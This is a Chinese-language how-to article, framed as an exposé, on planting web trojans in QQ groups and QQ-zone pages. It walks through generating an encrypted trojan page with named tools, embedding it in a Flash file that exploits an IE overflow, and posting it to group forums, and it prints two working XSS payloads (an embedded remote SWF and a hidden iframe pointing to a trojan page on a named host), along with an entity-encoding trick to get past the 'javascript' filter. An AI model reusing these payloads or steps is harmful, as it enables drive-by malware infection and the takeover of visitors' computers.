QQ掛馬方法揭密

欄目: 軟體技術 / 釋出於: / 人氣:2.47W

有無數上網使用者每天都在使用QQ，大家往往注重於QQ尾巴病毒、QQ傳木馬之類的攻擊方式，卻很少有人注意到我們經常訪問的QQ群、QQ空間裡面隱藏著更大的安全危險，遠比QQ尾巴病毒、QQ傳木馬之類的隱蔽得多，危害更加大。今天我們就來看看攻擊者是如何在QQ群和QQ空間中掛上網頁木馬，攻擊瀏覽使用者的！

一、QQ群中簡簡單單掛木馬

在一個比較火的QQ群裡掛上網頁木馬，一定很容易得到許多肉雞的。怎麼在QQ群裡掛馬，是在群裡面群發木馬的網址嗎?現在已經不會有人上這樣的當了。我們要作的只是在群裡面發一個作了手腳的帖子。

步驟一：製作網頁木馬

在攻擊前，我們首先要製作好一個木馬網頁。這裡筆者使用了“上興遠端控制木馬V2006”，這個木馬功能非常強，以前筆者曾作過介紹。用上興生成木馬服務端程式“muma.exe”後，將服務端上傳到某個網站上去，假設地址為“http://www.binghewu.com.cn/muma.exe”。

開啟“南域劍盟網頁木馬生成器”，在中間的“URL”處填入木馬的連結地址，點選“生成”按鈕，將會在生成器當前目錄下生成一個名為“script.txt”的檔案(如圖1)。用記事本開啟剛才生成的“script.txt”檔案，可以看到木馬程式碼，程式碼是經過加密的，一般人很難看出這是網頁木馬程式碼來(如圖2)。複製所有程式碼，然後將程式碼插入到任意一個正常的網頁中，就可以得到一個網頁木馬了。

小提示:將木馬程式碼插入正常的網頁中，其位置一般是位於“”標記中間。

498)this.style.width=498;" border=1>

圖1 用木馬生成器生成木馬程式碼

498)this.style.width=498;" border=1>

圖2 加密的木馬程式碼

　　步驟二：製作SWF木馬

在以前的QQ群中，本來只需要發一張帶圖片的帖子就可以實現掛馬的目的。不過現在QQ群也改版了，掛馬就需要多一個步驟了，我們還需要將網頁木馬嵌入Flash檔案中。

開啟“SWF插馬工具(Icode To SWF)”，在“SWF檔案”中瀏覽選擇本機上的某個正常的Flash檔案;在“插入程式碼”中填寫剛才與在的網頁木馬的連結地址(如圖3)。然後點選“給我插”按鈕，即可將網頁木馬連結插入到正常的Flash檔案中了。SWF插馬工具生成的Flash檔案是利用了一個IE漏洞，對方開啟Flash檔案後，就會造成IE溢位，自動訪問木馬網頁在後臺下載執行木馬程式。

498)this.style.width=498;">

圖3 生成SWF木馬

步驟三：在QQ群中掛馬

首先將剛才生成的SWF木馬檔案上傳到某個空間中，然後開啟某個QQ群的BBS欄目，點選“發表新文章”。在新文章書寫頁面中點選“插入Flash”按鈕，輸入SWF木馬檔案的網路連結地址及長寬，然後點選後面的小鉤按鈕，插入Flash檔案(如圖4)。發表新文章後，當有人在QQ群中開啟檢視這篇文章時，就會自動播放Flash並在後臺下載執行上興木馬服務端了。

圖4 在QQ群中釋出Flash木馬

　　小提示：當然我們也可以直接在QQ群中散佈SWF木馬檔案的網址，別人點選後一樣會中木馬，不過這種方式不如釋出文章隱蔽和效果好，攻擊的持續性也不強。

　　二、QQ空間玩掛馬

自從騰訊推出QQ空間(QQ-zone)後，各種跨站漏洞便不斷暴出。雖然騰訊已經對QQ-zone進行了一次全面的更新，禁止了執行自定義指令碼，不過通過我們的測試，發現所做的限制是很簡單的，只需要轉換一下字元就可以突破限制，在QQ空間上任意掛馬。

　　方法一：掛Flash木馬

開啟QQ空間後，在頁面中點選“自定義”按鈕，在彈出的工具條上依次單擊“個性設定”→“新建模組”命令，也可在QQ空間頁面中直接按下+組合鍵，開啟自定義對話方塊。在彈出的網頁對話方塊中輸入任意“模組名稱”，點選“提交”按鈕，彈出建立成功的提示框。然後出現“新增內容”對話方塊，將其中的“網址”、“圖片”中自帶的“http://”刪除，保持“連結名稱”為空白。在“評論”中輸入如下程式碼(如圖5)：

　　以下是引用片段：
“<img src="javascri&#112;t:document.getElementById('Mlogo').innerHTML+='<div style='position:absolute;top:0;left:0;'><EMBED src='http://www.binghewu.com.cn/muma.swf' quality=high wmode='transparent' WIDTH='925' HEIGHT='655' TYPE='application/x-shockwave-flash'></div>';"> ”

　　程式碼中的Flash地址“http://www.binghewu.com.cn/muma.swf”，是剛才製作上傳的SWF木馬連結地址，可以更改為其它任意Flash木馬檔案地址。提交程式碼後，使用者進入此QQ空間時，會自動開啟顯示上傳的SWF木馬Flash，從而在後臺下載執行上興木馬服務端程式。

圖5 通過自定義模組新增SWF木馬

　　小提示：QQ空間是通過檢測使用者提交的程式碼中，是否含用“javascript”之類的字元進行過濾的。在上面的程式碼中，將指令碼部分程式碼用ASCII編碼之後替換躲過了過濾，如“javascript”可以替換為“javascrip”，“p”為“p”的ASCII編碼。具體ASCII編碼轉換可到“http://www.killadm.ful.cn/ascii.asp”查詢(如圖6)。

圖6 通過網頁轉換字元ASCII碼

　　方法二：掛網頁木馬

上面的方法是直接在QQ空間中掛上一個Flash木馬檔案，實現的方法雖然比較簡單，不過這個Flash檔案有可能會讓別人起疑心。既然我們可以在QQ空間中寫入自定義程式碼，何不乾脆直接掛上網頁木馬呢?

用上面同樣的方法新建一個模組，程式碼如下：

　　以下是引用片段：
“<div id=DI><img src="javascript:DI.innerHTML='<iframe src="http://www.binghewu.com.cn/muma.htm" width=190 height=190 marginwidth=0 marginheight=0 hspace=0 vspace=0 frameborder=0 scrolling=no></iframe>'" style=display:none></div>”

　　同樣的，在上面的程式碼中已經作了ASCII碼轉換躲過過濾;“http://www.binghewu.com.cn/muma.htm”是網頁木馬的連結地址，可以換成其它木馬網頁地址。程式碼中的其它語句是用來定義模組大小的，由於設定為0，該模組將在QQ空間中被隱藏，但是並不影響木馬網頁的開啟與執行。這裡為了說明攻擊效果，筆者對程式碼作了一些修改，將木馬網頁顯示為新浪首頁，說明完全可以在QQ空間中開啟其它木馬網頁的(如圖7)。

圖7 在QQ空間中掛上的新浪頁面

怎麼樣，在QQ群和QQ空間中掛馬是不是很簡單？希望大家在上網的時候注意一下了。

Tags：qq 掛馬揭密